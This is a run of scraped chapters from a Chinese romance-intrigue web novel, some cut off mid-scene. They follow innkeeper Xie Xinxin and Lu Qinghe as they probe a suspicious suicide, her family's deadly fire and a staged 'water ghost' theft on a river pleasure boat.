“他没听我的话,而是将那日抢来的剑拿出来,对我说,若是衙门查到问题,就说是宣王府的人刺的他。他说他自戕后,会跳进河中,沿着河水漂到城里,那样尸体离家远,不至于吓着我,也好减轻我的嫌疑。” “他还说,他要用这把从宣王府抢来的剑,最后赌上一赌。” “若能赌到一个说法,他死,也瞑目了。” 二人听罢,沉默了许久。 谢辛辛起身站到陆清和的身边,用只有二人能听见的声音轻轻道: “可他没想到,衙门连查也没查。” 陆清和侧目,见她已红了双眼。 “和谢家的案子一样……” …… 陆清和本是来碰碰运气,看能否抓到宣王府之不韪,好让父亲在朝中向天家告上一状。听了胡家这样的经历,又因胡捕快确为自尽,宣王府摘得干净,他莫知所措。 他来莲州也不过几日,也不知谢辛辛口中谢家案的原委,见她眉眼神伤,犹豫了几息,还是决定闭口不言。于是又是一副澹然不惊的脸色,默默走在谢辛辛身边。 谢辛辛带着路,没有选择来时的方向,而是引二人走到贩夫走卒聚集的街道上。人群熙攘,他们牵着马,在叫卖声中频繁与经过的行人相撞。 在陆清和的思绪被撞断了几次,又约莫说了十余声“借过”、“抱歉”后,他终于深呼吸,问道: “为什么走这条路?” 谢辛辛只道:“我带你看一座桥。” 果然,走了几步就有一座白石拱桥,瞧着约五六十丈,在两岸杨柳的相映下自成一番江南景味。 陆清和在桥头站定,凝眉看了一会儿,踌躇着说:“并无特别之处。” 谢辛辛不置可否,只是两三步跃到桥头一块小圆碑前,拍拍石头示意他看。 陆清和看她脸上已然退去感伤,眼中似乎还有一丝得意,走上前去,半蹲着观看这个小圆碑。 小圆碑的碑身不比平常石碑方正古板,反而圆润玲珑,像个胖猫儿敦敦实实地坐在地上,上面歪歪扭扭地写着四个字:谢家桥桥。 “……很丑的字。”陆清和道,带着一丝“终于发现这桥特别之处”的恍然大悟。 而且,桥桥是什么?不知所谓。 谢辛辛眉尾跳了跳:“正是本掌柜亲笔所写。” 陆清和直起身看她。谢辛辛笑道: “不错,这是我谢家出钱捐的桥。” “这地方很热闹吧?但在我小时候,这两岸荒凉得很,别说做生意,就是有个村庄也了不得了。” “莲州以莲闻名,自然是河多水多,河道一多,路就难修。许多明明一眼就能望到的岸,要绕几十里路才能走到。” “所以我爹精挑细选,选在这河道中间捐了一座桥。村子去城里就方便多了,原先要走一个时辰的路,如今只消走不到半个时辰。这桥走的人多了,愿意在附近做些小买卖的人也多了起来,这儿才渐渐变得这么热闹。” 说到这里,谢辛辛冲他抬了抬眼,颇有些自豪之色: “都说为富不仁,但我爹的确是做实事的大好人。” 陆清和微一颔首,想到宣王府之势力在莲州渗透至此,谢家出身商贾竟出淤泥而不染,仍保有这份反哺百姓的心意,认可道:“看取莲花净,应知不染心。”[2] 但他忍不住问:“这上面的字?” 谢辛辛摸了摸这块石头,浅浅笑道:“这题字,爹本来打算请个字写得好的先生来写的,被我给截胡了。” “那时我六岁,听娘说爹爹想请的先生,也许是什么书法大家吧,竟开口就要几十两。爹爹答应了,我不答应,硬缠着他说这钱不若给我来挣。” “我问爹爹这座桥叫什么名字,爹说就叫谢家桥,我一想,桥名叫谢家桥,这这座桥不就是‘谢家桥’桥?” “喏。”她努了努嘴,“我就写成这样,爹爹也给我刻上去了,哈哈。” 她说得眉眼飞扬,又渐渐暗淡下来,轻声道:“我爹真的对我挺好的。” 陆清和开口道:“谢家一案……” 谢辛辛眼底生恨,一字一顿道:“三年前,谢府突发大火,我和宛姐姐因出门看账逃过一劫。可除我二人之外,谢府上下,无人生还。和胡捕快的此案类似,衙门只说什么也查不到,应是意外失火,将此事促促揭过。” “可若是寻常意外,我爹娘乃至几十家仆怎可能无一人逃出?” 见郑清和神情肃然,她心知此番目的已经达到,即利用她的身世,让陆清和对她心生怜爱。 只是她还在犹豫,是否该将她靠近陆清和的真实目的一并告之。很快她摇摇头,认为现在还不是时候。 她与陆清和相识不久,哪怕将郭知州所言和盘托出,陆清和也不一定会配合她。更何况,现在陆清和已经有意任她随行,她更不能多生事端,把希望寄托在别人身上。 正想着,陆清和突然出声: “ 12. 鸠占鹊巢 《钓系掌柜只想逢场作戏》全本免费阅读 阿凤急声:“不可!” 陆清和却叹了口气,道:“容我考虑。” 谢辛辛在阿凤震惊的目光中笑逐颜开,似是奖励陆清和听取自己的建议一般,她欢快地摇了摇陆清和的手臂,继而一边高声称好,一边雀跃地踏过酒楼的门槛。 阿凤才要张口,谢辛辛又回过头来道:“进来吧,我请你再吃一次‘金风玉露’!” 陆清和摇摇头:“无妨,我有钱。” 谢辛辛:……有钱人的嘴脸真是可恶。 她又来到陆清和面前,正正经经地将实话告诉他:“一份‘金风玉露’其实只要五钱银子,我之前是骗你的。” 说完她便仔细瞧着陆清和的脸,想看这上面会不会露出一丝愠怒。没想到陆清和只是点点头,顺手将硬着拳头的阿凤提到身后,道:“那行。” 又问道:“这次不是骗我?” 谢辛辛见他问得好笑,神神秘秘凑上他耳朵道:“不是,这次是实话。” 语中颇有一语双关之意。她知道陆清和是聪明人,或多或少也觉得她此前诸般举动带着目的,因此这话可以说得隐晦,好让他觉得自己如今一腔真心。 谢家灭门之仇与北瑛王府有关——这个想法一在她脑中出现,她便越想越觉得合理。谢家与宣王府素有往来,谢家家破人亡,她与世子的婚事告吹,间接受益者是谁一想便知。 因此,她必须抓着陆清和不放。 如能顺利替郭知州的儿子翻案,直接看到卷宗是最好;若不成,她还能借着陆清和,咬上北瑛王府这只大兽。 谢辛辛在大堂挑了个座位坐下,就问陆清和何时启程去邺州,她好安排刘宛等替她照看着玉春楼,言辞之间故意略去了陆清和会拒绝她的这种可能。 陆清和也不点破,答曰明日早间。二人对坐在一方弯腿八仙桌前,陆清和又是垂着眼睛。他们眼前忽然没了事做,只等着再过一日就要出发去邺州了,陆清和便自然而然无话可说,恢复了最初那个端方君子的模样。 谢辛辛有些看不得这样子,手指又有些难耐,不觉伸出手想再触碰那端端正正的发髻,却被阿凤起身一挡。没错,阿凤正端坐在他们二人中间,眼盯着谢辛辛,时刻警惕着。 “好像我会吃了他似的。”谢辛辛笑了,用手指点他的脑袋。 忽见茗琅拿着一页信纸袅袅走来,将那信纸在她们眼前一抖,冲谢辛辛笑道:“掌柜的,听说你马上要出远门,世子殿下来信说了,这几日就由我来代理玉春楼掌柜的身份。” 陆清和脸色顿时沉了半分。 “好,好得很!”谢辛辛却笑道,“有你在玉春楼,我才能放心。” 茗琅将信纸一收,也笑微微地对谢辛辛道:“多谢掌柜的。” 两人你一句我一句,一个夸茗琅“精明干练,为人勤勉”,一个便说“承蒙掌柜厚爱,平日多有指导”。陆清和欲言又止。 有些事他觉得需要提醒一下谢辛辛,但两姐妹诉起情来,他并找不到话口。 这厢谢辛辛和茗琅皆喜笑盈腮,门口走进来一个略显富态的中年男人。男人肥头大面,身着深蓝直领对襟长袍,本该是沉稳的颜色,其上却绣满赭实蟾绿的花鸟蝴蝶等纹样。 阿凤好奇道:“这衣服的花样像是女子常用的,虽有些不伦不类,但在这胖子身上倒显富贵。” 陆清和看了他一眼:“君子不背后语人。” 阿凤吐了吐舌头,才要继续端详这个奇怪的男人,就听酒楼中有相熟之人冲他拱手道:“李管事,别来无恙。” 几人皆是一愣。阿凤率真,尽管不知胡捕快案的后续,此时也已经捏紧了拳头,仿佛若陆清和点一下头,阿凤便会冲上去给他一拳。 陆清和下意识向对面处看去,谢辛辛只是身形微顿,仍是笑语晏晏。 反应最大的,却是站在一旁的茗琅。 茗琅不再看着谢辛辛,抿紧了唇:“世子这时候让李管事来做什么?” 谢辛辛反问:“你怎么想?” 茗琅理了理裙摆,本就略显尖刻的脸上浮现出明显的不悦,道:“我去问问。”不顾谢辛辛伸手欲拦,已向那边走去,朝李管事微微点了点头,二人交谈起来。 因茗琅背对着几人,他们看不见茗琅的表情,只见李管事米粒大的眼睛弯成一条缝,愈发春风得意,又将茗琅从头到尾打量了几遍,色迷迷地笑。 阿凤忿忿道:“人渣。” 小二这就端上几盘前菜来,其中就有二人初见时所点的“金风玉露”。名为“金风玉露”,实即为加了些滋补果品的拔丝糖糕。陆清和示意谢辛辛先动筷,只是她一双眼睛粘在茗琅身上,并未意识到陆清和的礼让。 陆清和轻轻咳了一声,拉回她的注意力,道:“你好像并不意外。” 谢辛辛回神,看了看他,随即勾唇笑了。 他闪躲了她的眼神,将一块糖糕夹到她碗里。 因在王府中长大,陆清和从小也见过不少矜持有度的高门贵女与他客气地笑,也许是喜欢他,也许是看中了北瑛王府的名头。他不懂女人的心思,一向只当飘花过眼,不甚经意。 但谢辛辛不同,她嘴上直说着喜欢,眼中却燃着另一种欲望。 他猜到这是郭知州给她安排的路。 他总觉得,也许谢辛辛看待自己,就如虎豹看待猎物,虎豹自然喜欢猎物,但猎物只是猎物。因此若一味看着谢辛辛的笑容,总令他觉得有些不便。 这也无妨,左右他也可以把谢辛辛当做猎物,用这只小鱼,钓出宣王府的这条大鱼。 他心中阴晴不定,脸上自是分毫不显。谢辛辛没有发觉什么不对,慢斯条理地夹起这块糖糕,故作高深道: “人是我找来的。” “谁?”阿凤不解。 “李管事呀!我说,李管事是我找来的。陆公子,……”她想了想,决心厚下脸皮,又改口,“清……陆清和,你这么聪明,猜猜为什么?” 陆清和又夹了糖糕放进阿凤碗里,道:“你总有你的办法。” 谢辛辛拍手道:“你这么说,就是猜到了。” “什么啊?你们在说什么办法?”阿凤非常生气,觉得自己似乎顶替了郑瑾瑜的角色。 陆清和将糖糕塞进阿凤嘴里,道:“谢掌柜方才同我说,玉春楼的账本与宣 13. 江魃水魅 《钓系掌柜只想逢场作戏》全本免费阅读 “本该如此。”茗琅拧着手帕,陷入沉思,“我却没想到还有李管事。” 陆清和不再出声。 他心中有了新的怀疑。 谢辛辛真的不知道茗琅是宣王府的眼线么? 如今这个状况,实在像是她准备赶赴邺州前,故意让茗琅与李管事二人相争,玉春楼的经营权不至于太过轻易落入任意一人的手中。就算权力的天平偏向了其中一人,也比她回来时酒楼已全然被宣王府的人控制要好。 不知事情能否如她所愿。若哪日她的酒楼真被人抢了去,在那之前,他却还没未拿到玉春楼与宣王府有关的账本,该如何是好? 他摇了摇头,暗暗想。有必要时,须得帮她一把。 自然,这是为他自己。 这厢谢辛辛带着李管事在后院弯弯绕绕,行过一座假山,她四下看了看,小声道:“李管事,你可知道我请你来玉春楼是为何故?” “知道,知道。”李管事喜滋滋道,“谢掌柜的,要说您是个顶聪明的美人儿呢,王府里要说忠心,除了我,那是找不出第二个。” 谢辛辛忍下喉头涌上的恶心,叹气道:“正是,我就要远去邺州,也是替世子办事。这玉春楼与王府之间干系太大,交给谁我也不放心……” 李管事眯了眯眼,试探道:“我听说玉春楼有个掌柜的心腹厨娘,从前在谢家也是个管事。” “你说宛姐姐?”谢辛辛笑道,“我是待她不同常人,可若说心腹,她也说不上。和王府相干的一切事,我是从不让她经手的。” 李管事不知是不是自己的错觉,就听谢辛辛嗓音似乎冷了些,语速也慢下,道: “李管事,你可有亲眷?若是你在外做了些肮脏勾当,想必也不会让亲人知道吧。” 李管事心下一颤,抬眼向谢辛辛看去,见眼前少女笑眼纯稚,是十八九岁少女独有的清亮,却因早知世务,举手投足已有含苞吐萼的风韵。 他本就是色中饿鬼,被这一眼看得酥了半边身子,只觉得自己多心了,点头道: “那是自然。看来谢掌柜与我真乃知己也。” “所以,”谢辛辛将一沓厚厚的账本塞到他手里,“这玉春楼与宣王府往来的数目,需得李管事你本人亲自接手,我才能安心。” 李管事千恩万谢道:“奴才感恩掌柜的抬举!谢掌柜的只管放心,这账目机要,奴才必不让茗琅那丫头碰到一根指头。” “那就再好不过。”谢辛辛满意地笑了,“待我回来,定给世子去信,为您美言一番。” “若管事能乘上这东风,得到机会,也替世子在外头做些生意,那便是管事自己的造化了。” 李管事喜不自胜,仿佛已捞得大把油水进了口袋似的,一张塌鼻阔脸笑得起了褶。 …… 次日清晨,天还蒙蒙亮,阿凤与陆清和二人早早站在东街外。流雾随着秋风绕着湿漉漉的苔石打转,将风景蒙上一层半透的纱。 阿凤取了麻绳,将行李细软都在马车后牢牢捆住,就从车上向陆清和喊: “公子,都收拾好了!” 薄薄的曦光下,白衣公子正打量着江南的秋色。不远处正有个水流潺潺的小溪,水位似乎不如几日前深了,几片莲叶也有枯黄之势,但莲叶茎梗却仍直挺挺地立着,陆清和不禁赞道: “好风骨。” “公子,公子。”阿凤便有些怏怏,在车儿板子上坐下,扶着脸道,“莫不是在等谢掌柜吧?我们真要带她去吗?” 陆清和摸上阿凤的脑袋,问他:“你怎么看?” 阿凤道:“我们到莲州时,已经看见郭知州找了她去,她分明是冲着替郭知州的儿子翻案来的,心思不纯,到时只会给公子添乱。” 陆清和道:“这样才好,她在明,我在暗,更能将事情看得清楚。” 阿凤又道:“她还是宣王府的人。” 陆清和笑道:“这样更好,若非是她,碰上宣王府的人哪有这么容易?” 阿凤气不忿,半晌,又道: “她,她对公子图谋不轨。” 陆清和听得又笑了,目光投向更远的高处,轻轻道:“要真如你所说也就罢了。” 谢辛辛自然不是有意误了出发的时辰,只是临要走被刘宛扣在了小厨房里。说是扣着,刘宛却一眼也不看她,兀自叮铃咣啷地倒腾着什么。 “宛姐姐……”谢辛辛好声好气地在她身边打转,“我得走了,我真得走了,万一那陆公子等不及,甩下我就出发了,我上哪儿再找他去啊。” 刘宛将锅盖揭开,往灶边重重一放,锅里的雾白的蒸汽腾空而起,呛得谢辛辛连连咳嗽。 “你还知道叫我宛姐姐。”刘宛拿出一方手绢扇了扇风,闷闷道,“如今有了心上人了,就一味要‘随君直到夜郎西’去,你心里哪有我?” “好姐姐,好姐姐。”她抱上刘宛的腰扭来扭去,“我就去几日,陪陆公子办完事,就回来了。” “还回来做什么!”刘宛一瞪她,却见她眼睛亮亮的。 “回来找你提亲啊——”谢辛辛笑嘻嘻地,把头向她怀里拱,“宛姐姐,我爹娘都走了,如今你就是我娘了。到时他若来提亲,自然是找你来提了!” 刘宛听她这样说,又是心疼又是欣喜,叹了口气,点了她的额头道:“但愿他不会辜负你吧。不知怎么地,你这说要同他去邺州玩一玩也就罢了,听说他是去办差的,我这心里总是七上八下的。” “王府的人办事,不会有什么危险吧?” “不会不会!”谢辛辛摆摆手,见刘宛松了口,悄悄地往门边退了退。 “站住。” 谢辛辛苦着脸,停下步子道:“宛姐姐,我真得走了,不然赶不上时辰啦。” “拿着。”刘宛将锅里才蒸好的豆沙包子裹在手帕里,往她包袱里一塞。 谢辛辛将手帕掀开一角,看那些包子都做成了兔子形状,拿红枣泥画了兔子眼睛,栩栩如生。她心里一暖,问道: “宛姐姐,你什么时候做的?” 刘宛自顾自收拾着锅铲,道:“昨晚上你才说要走,我心里堵得睡不着,索性起来给你做些包子,早上一蒸便是,你路上好带着些。” 见无人回应,刘宛猜谢辛辛是趁着机会溜出去了,方慢吞吞抬起眼来。却见谢辛辛仍站在原地,眼眶比兔子还红,她笑道: “怎么?谁把你眼睛给打了?” 谢辛辛忙抬头闭了闭眼睛,将那酸涩之情硬生生咽了回去,才冲过去抱住刘宛道: “宛姐姐,我这几天觉得好累。” 刘宛怔了怔,抚上她的手,宽慰道:“小姐,你还小,又舍不得把谢家的东西全交给宣王府里,自己操持这三年,累是自然的。你本是该出去玩一玩的年纪,我只是放不下心,不是不愿你出去。” 听刘宛并未叫她掌柜,而是像小时候那样唤她“小姐”,谢辛辛的鼻子一酸,险些又落下泪来。她心知自己并非是因操持酒楼太累,可她说不清,也不能说。 也许是因为谢府没了之后,她不得不依靠宣王世子才将家业重兴,却要与王府安插的人斗智斗勇,她觉得疲倦。 也许是因为家仇未报,她肩上的担子太重,又不敢将这重量给至亲的刘宛分担,她觉得孤单。 < 14. 几分情愫 《钓系掌柜只想逢场作戏》全本免费阅读 “那还真是未必。”陆清和笑道,“听说这苕江的水鬼,只谋财,不害命。” “那你财带得够多啊。”谢辛辛拍了拍吓得木立的郑瑾瑜,“挺好,破财消灾嘛。” 今日的天气不算很好,从几人动身起,眼前就起着大雾。这次阿凤赶车打着头阵,三人便坐在阿凤的车厢内,后头跟着郑瑾瑜的几大车行李,为安全计,大家都慢慢地朝码头赶。 几辆车就这么慢腾腾地,挨个碾过打头的车辙。即便谢辛辛惯常起早,此刻在车厢里一缓一缓地晃着,也发了困,眼睛蒙蒙然就要闭上,就听郑瑾瑜清了清嗓子。 “到了。”郑瑾瑜坐得端正,煞有介事地理了理领子,“到码头了。” 谢辛辛迷迷瞪瞪地睁开眼,前头就有“腾”的一声,似是阿凤翻身踩在结实的土地上。陆清和撩开帘子,踩着阿凤放下的脚凳就下车了。 她看着陆清和落地的身影顿了顿,生了好奇,忙问:“怎么?” 陆清和沉默了片刻,方道:“很有气势。” “什么气势什么气势?”谢辛辛意识还没清明,茫然地问。 郑瑾瑜却越发正经起来,身上稳稳坐着不动,却急急地朝谢辛辛使眼色。 “你眼睛怎么了?”她疑惑道。 “哎……你倒是快下去看呐!” 郑瑾和急不可耐,伸手给她扬起帘子。她噢了一声,迷糊着向下伸脚,落地时忽然脚一软,就往前面跌去,“咚”地撞上一个坚实的背,把前面这人撞的一阵猛咳。 撞到谁了?只看见是白色长衫。她摸了摸,抬头就对上陆清和咳红了的眼神,激得她登时清醒了大半,摇着手道:“这次真不是故意的。” 陆清和意味深长地看了她一眼,撇过头去,什么也没说。这一眼倒刺激得她起了些怒意: 什么意思,不信?难道我谢辛辛是无论做何事都目的性都很强的那种人吗? 还真是。 在大事上,她有着商人的本性,素来讲究一个“不吃亏”,有好处的事就做,没有好事的事不做。但在平常小事上,谢辛辛又是个不爱委屈自己的,无伤大雅的小脾气则是能发就发。 见陆清和不信她,索性她也撇开眼睛去不理人,倒引得陆清和从眼角看了她一眼。 但此时她已全然注意不到旁的事情,活活被面前的这艘船给震住了。 “怎么样怎么样?”郑瑾瑜兴致勃勃地凑上来。 “郑瑾瑜,郑公子,郑大少爷……”谢辛辛抚着胸口,“咱们渡个苕江,你租了个画舫?” “是啊!”郑瑾瑜昂着头,只当自己被夸了,“去邺州左不过一日半的路程,租个画舫花不了几个钱,既能过江,还能看看风景。” “怎么样,我说船费小爷包了,你当我说笑呢?呃……就当交保护费了,要真遇到水鬼,你们保护我一下,成吗?” 看着眼前这艘雕梁画栋、长阶飞檐的双层画舫,谢辛辛心里飞快地计算着,这画舫不比普通客船,一个能载十人不到的画舫租一日就要小几百两,这个数还是不计船工舵手、船上厨师等人员的工钱的。 “怎么了,感动到了?” 郑瑾瑜邀功似的,竖起耳朵等着另外两人的溢美之词。 “很有气势。”谢辛辛点点头。 陆清和也淡淡道:“现在我们就是水鬼眼中最明显的猎物了。” 郑瑾瑜扬起的脑袋僵住了。 “什么水鬼,怪力乱神的,本掌柜从来不信这些。”谢辛辛笑嘻嘻地转到陆清和面前看他,“陆清和,你信吗?” “不信。”陆清和道,“但或许只是未曾际遇。遇上了便信了。” 这人总是把话说得这样圆满,了无生趣。 谢辛辛大声叹了一气,背手摇摇头。 郑家家丁将郑瑾瑜的几大箱行李运到船上,几人先上船四处逛了逛,见舫中建置齐全,一楼设有茶室、餐桌等供客人作乐,观景可以在甲板,也可以在二楼的凉亭。 谢辛辛看得渐渐起了兴致,叩着墙板道:“这个好,玉春楼也可以设一个水上饮酒的地方。” 陆清和闻言,顺势问郑瑾瑜到底花了多少银子,郑瑾瑜摆手道:“也不用多少,听说邺州今年收成不好,画舫生意也不景气,如今一个人在舫上过夜也只用十五两。” “这么低?”谢辛辛又忍不住算了算。若是这个价钱,那玉春楼还是不要设水上雅间了,不挣钱啊。 郑瑾瑜道:“是不高,因为咱们人多,船家还给打了折呢。一人十五两,三人五十两,阿凤年纪小,算十两,如此,咱们四个人,我只出了六十两。” 几人皆沉吟。 阿凤翻了个白眼。 谢辛辛扯了扯陆清和的袖子:“要不咱们不带他了,总觉得与他相处久了会变蠢。” 陆清和难得地点头认可:“你说的不无道理。” …… 云京在莲、邺两州之北,虽不比辽东干燥寒冷,但山水风色与莲、邺也是大不相同。莲州临江,邺州临海,云京则是四方都不沾水,三面挨着城池,一面临着十常山。 所以陆清和一向水性不好。 白日里郑瑾瑜在观景台上大惊小怪地闹腾,因为心里还记挂这水鬼,连带着缠着要阿凤陪他四处张看。 阿凤从小被四姨娘送到陆清和身边,鲜少有玩耍的机会,陆清和也不愿意拘着他。到了入夜,两人都玩疲了,阿凤又是孩子的身体,竟和郑瑾瑜两个互相靠着就睡了过去。 阿凤睡下了,谢辛辛不免起了心思,轻手轻脚地就摸去陆清和的房间,叩了叩门道: “陆清和,你睡了吗?” 过了一会儿,才从里面传来闷闷的一声:“何事?” 听着全不似往日清亮。 她有些疑惑。本是打算来打听一些北瑛王府的消息,现听里面声音不对,谢辛辛忽然发憷起来,小声道:“你是水鬼?还是陆清和?” 里面“嗤”的一声笑了。 谢辛辛问出来才觉得赧然,一推门道:“不是我胆子小,你闷在被子里说话干什么!” 门没锁,她一眼就看见他苍白的面色,吓了一跳。 陆清和脸色奇差,却闭着眼端端 15. 君子报仇 《钓系掌柜只想逢场作戏》全本免费阅读 待两人拉拉扯扯走到甲板上,一切都早没了影子,只有水上的风呼呼地刮着。 “没出事吧?”谢辛辛抓着一个船工问。 “人都没事,人都没事。”船工拍着胸口,意犹未定,“现在去清点一下客人的东西。” 谢辛辛便点点头。一回神,发觉陆清和一直站在她身前,依旧是清冷自持的样子。 “袖子。”陆清和道。 “哦……”她忙收回还拽着人家袖摆的手。 陆清和这才转过来,虽然面上是温和的笑,眼底却难掩戏谑:“既然不信鬼,有什么好怕的?” 谢辛辛哼了声:“万一呢?” 谢辛辛不信鬼神,但对鬼有种天然的害怕,她自己并不觉得矛盾。 物死不能为鬼,人何故独能为鬼?她想,因为人心比鬼可怕。[1] “毕竟有那么一次,我也希望世上真的有鬼。这样我死后也能找人算账。” 她低声笑了,“不过等我成了鬼,打不打的过恶鬼还难说。” “若人死真能为鬼,好人变好鬼,恶人变恶鬼,做恶事的鬼,一定是心思极坏的人变的。” 三年前,谢家一把火烧没了,曾和谢家有往来的富商多数都与她失了联系。这还算好的,更有甚者,趁此机会状告谢家商铺。 东街再往南有个水门巷子,水门巷子里有个华锦阁,是个素来眼高手低的绸缎庄。谢家出事不过几日,华锦阁便四处说谢家的庄子高价买断了各处的缫丝坊,害的他们供不上货,要谢辛辛替她爸妈赔钱。 明明是他们一口气接了云京贵女们大宗的订单,吃不下去,又交不出货,谢家没人做主,谢辛辛是个未出阁的小女娘,是最好的替罪羊。 那时她尚不谙世事,打过照面的商家都是谢家自己下属铺子的老板,何曾见过人心险恶。华锦阁的婆娘一嚷嚷,水门巷的人群一传播,公堂里的惊堂木一拍桌,她惊得没了主意,差点萌生了一头将华锦阁的人撞飞在府衙大柱子上的念头。 哪怕是寻死,她也得拖着恶人下水,万不能独让自己吃亏了。 她想过,世上若真有鬼,华锦阁的人死了也是大恶鬼,自己正好将她撞死,自己也下黄泉做个恶鬼,在地下找他们算上一算。 刘宛便是在此时找来了宣王世子。 公子王孙到底和寻常百姓不同,哪怕谢家昔日也是备受尊敬的本地巨贾,谢辛辛也从没见过旁人单是对他说句话就畏葸的模样。位尊势重的人物一到场,华锦阁的“恶鬼”顿时收了声,惊堂木也拍得软绵绵的。一场诬告雷大雨小,轻飘飘地就结束了。 从此,她便顺其自然,开始替世子做事,必要时借用一下宣王府的威势。 她喜欢时不时在水门巷子里走上一遭。每到那日,华锦阁便闭门歇业,成了莲州城的一桩笑谈。 可华锦阁与她有旧仇宿怨,胡夫人与她之间有什么呢?一旦撇开了恨的牵扯,再看宣王府的行事做派,她开始觉得奇怪。凭什么呢? 凭什么无权无势的人就要看着别人的脸色生活呢? 飘摇的灯火映在她的脸上、眼睛里,虽然说着没有端尾的故事,眼底却莫名有种天真的志气。陆清和看着她,不自觉伸手,本要去抚她的脑袋,最后却拍了拍她的肩膀。 他似乎略有体悟,若有所思道:“何必做鬼。有什么仇怨,在他尚是恶人时,就将仇报了才是。就如华锦阁如今成了莲州的笑谈,你这仇也称得上是报了。” 谢辛辛笑道:“有些仇若是当时就能报,哪还顾得上这么多呢。若是烧我谢家的仇人就在眼前,我定抱着他跃入苕江,同归于尽。” 她看着他,眼底渐渐晦暗,好像陆清和就是那个灭她谢家的仇人一般。 陆清和却道:“不可。” “他做了恶事,本就该死,可你没有,一条清白的性命同脏命同归于尽,是为不公。” “我爹娘难道不是清白的性命?”谢辛辛反驳道,“一条脏命能比我爹娘多活这么久,难道公平?” 陆清和道:“那便要多添上你这一命么?” 谢辛辛沉默了,江上的风带着些鱼虾的腥味拂过,她望向深不见底的江面,莫名觉得他说的有些道理。 若真有朝一日找到她的仇人,自己要怎么做呢? 如今自己顺顺利利的缠上了陆清和,仿佛家仇得报的日子也不远了。她对着江面一笑,心情竟是前所未有的平静。 身边的人却好似心烦意乱的很。两人安静了不久,就听陆清和呼吸不定,似有郁结。 难道仍是疰船?正犹豫着要不要关心一下,可她才说了几句真心话,现在又拿捏不住平时演的那郎情妾意的状态,陆清和却在这时候突然问道: “你为什么要嫁去云京?” “说什么糊涂话?我不是要嫁去云京,是要嫁……是要嫁你啊。” 是要嫁一个和北瑛王府关系紧密的人啊。 “儿戏。”他重重呼吸了几息,不悦道。 谢辛辛含笑,也不分辩。 人们到底还是喜欢折中的——起初她求着陆清和要跟去邺州,他是一个准话也不给。待自己说要与他成婚,他虽未应允,倒是渐渐接受她跟在他身边了。 就听有船工哈着腰从货舱上来,支支吾吾道: “客人,原有十七个乌木大箱子,水鬼来了一遭后,只剩十六个,你看……?” “十六个?”谢辛辛笑了,“水鬼这么大费周章地闹一通,竟只偷走一个?这也太穷酸了,让郑瑾瑜把这水鬼买回去当个喷水蟾蜍一样的摆件,摆在郑家的花园里,一个月给它二两工钱。” 陆清和本皱着眉,听完这话眼尾微微扬起,只让船工带他去货舱看看。谢辛辛尾随其后。货舱在船面之下,藏在画舫一层木板的下面,几人沿着吱嘎作响的木梯略略环视了一眼,便知此处只有连同画舫一层和货舱的木梯这一个入口。 船家手执烛台,将舱内照得微可视物。十六个箱子码放得整整齐齐,唯有一处空位残留着些许水渍。 “这地上的水是……?”谢辛辛问道。 “大抵是水鬼留下的。”船家解释道,“近日来水鬼经常作案,每次都是在这封闭的货舱内凭空拿走客人的一些金银细软。据说水鬼能化形为水,因此能从船缝中溜进货舱。又因它所贪不多,许多客人想着破财消灾,也不追究后续。” 谢辛辛方才还有些胆怯,听完他这话,倒认真起来,问道: 16. 师徒四人 《钓系掌柜只想逢场作戏》全本免费阅读 谢辛辛早已跟着船工找到了那修道的伙计。那人明明就是今日收帆的船工之一,看着也就和阿凤一般年纪,连胡茬都没长全,自我介绍却变成了什么“苕江老道”。被船工一叫,此人穿着破破烂烂的粗麻短衣,拿一柄佛尘,一本经书,老神在在地跟着他们来到甲板上。 见陆清和、郑瑾瑜和阿凤都已在甲板上候着。郑瑾瑜裹着个毛毯,缩在阿凤的身后。 谢辛辛欢快地跑过去,笑道: “陆清和,你猜我看到了什么。” 陆清和道:“什么?” “这道士手上拿的那本书,写着《地藏菩萨本愿经》七个大字。” “地藏菩萨?”郑瑾瑜疑惑道,“道家也信地藏菩萨?” 陆清和含笑不语,谢辛辛则乐不可支: “怎么不信呢,这‘苕江老道’不就信么?你且看着他怎么通灵吧。” 船上的伙计都聚了过来,画舫上点了灯烛,在江风中摇曳不定。众人把这个拿着经书和佛尘的围在中间,聚成一个圈。 刚才打了包票的船工此刻仿佛也有了底气一般,站在第一排昂首挺胸起来。 十七八岁的老道向手上吐了两口唾沫,又往衣摆上揩了揩,紧接着嘴里开始叽里咕噜一些听不懂的文字。 “说什么呢?是梵文吗?”郑瑾和茫然问。 “梵文?道教也要会梵文?”阿凤质疑道。 “是是是。”谢辛辛敛眸正色,“苕江老仙君与水鬼大师兄、郑家二师兄、阿凤三师弟,师徒四人去西天取道德经的故事,你们没听过吗?” 那人四下挥舞佛尘,郑瑾瑜看得入迷,过了一会儿才反应过来: “你是不是骂我呢?” 谢辛辛吐舌不理,余光中看到陆清和的嘴角微微勾起,心情突然也畅快起来。 就听“呔”的一声,那小伙计将佛尘往甲板上一打,人群发出一阵喝彩。既而又将佛尘收到自己怀中,高深道: “水鬼已去。那箱东西应该已经还回来了。” “这么神?”郑瑾瑜吓了一跳,将阿凤推到身前,连声道,“快去看看我的箱子。” 谢辛辛早看腻了这一套故弄玄虚的通灵戏码,闻言便拉着陆清和往货舱里走。见状阿凤本欲向前,用身体将他们二人隔开,却被郑瑾瑜以害怕为由,一直被拽在他身前。 四人这么拉拉扯扯的往甲板下走。船工将四周的油烛一点,几人便见十七个箱子稳稳的放在原地,消失的箱子回到了曾有水渍的地方。 “这‘水鬼’倒是个懂礼数的。”谢辛辛指着第十七个箱子,向陆清和笑道,“与它打个商量,它还真还回来。” 郑瑾和扑上去将箱子一开,箱子里的东西有些乱,像被人拿出去又塞回去过。郑瑾和翻着几匹布缎道:“还好还好,给姑姑带的礼物没少。” 箱子失而复得,船工便恢复了一些胆量,小心向陆清和处求证:“东西回来了,那盗窃罪是不是也就……?” 陆清和的眼神微侧,船工就不敢再多言。谢辛辛从陆清和身边探头道:“咱们都心知肚明的事,你问什么?大人睁一只眼闭一只眼已是有大量,难道你非要折这位大人的面子不可?没说要绑你,你就快走罢。” 船工一听,忙退身而出,嘴里还多谢着谢辛辛的点拨。 等到船工完全退了出去,谢辛辛收了笑意,看向陆清和,而对方也将目光投向她。 “发现了?” 谢辛辛点点头:“酒桶又少了。” 白日里谢辛辛于画舫上四处乱逛时,她一时兴起沿着木梯子下到过货舱处。除了他们几人的行李,这里本还有垒成小山、上有红纸写着“酒”字的木桶。 在第十七个箱子丢失时,最顶上的木桶似乎缺了一个。 船工说要请伙计通灵时,谢辛辛趴在陆清和耳边,说了这回事。 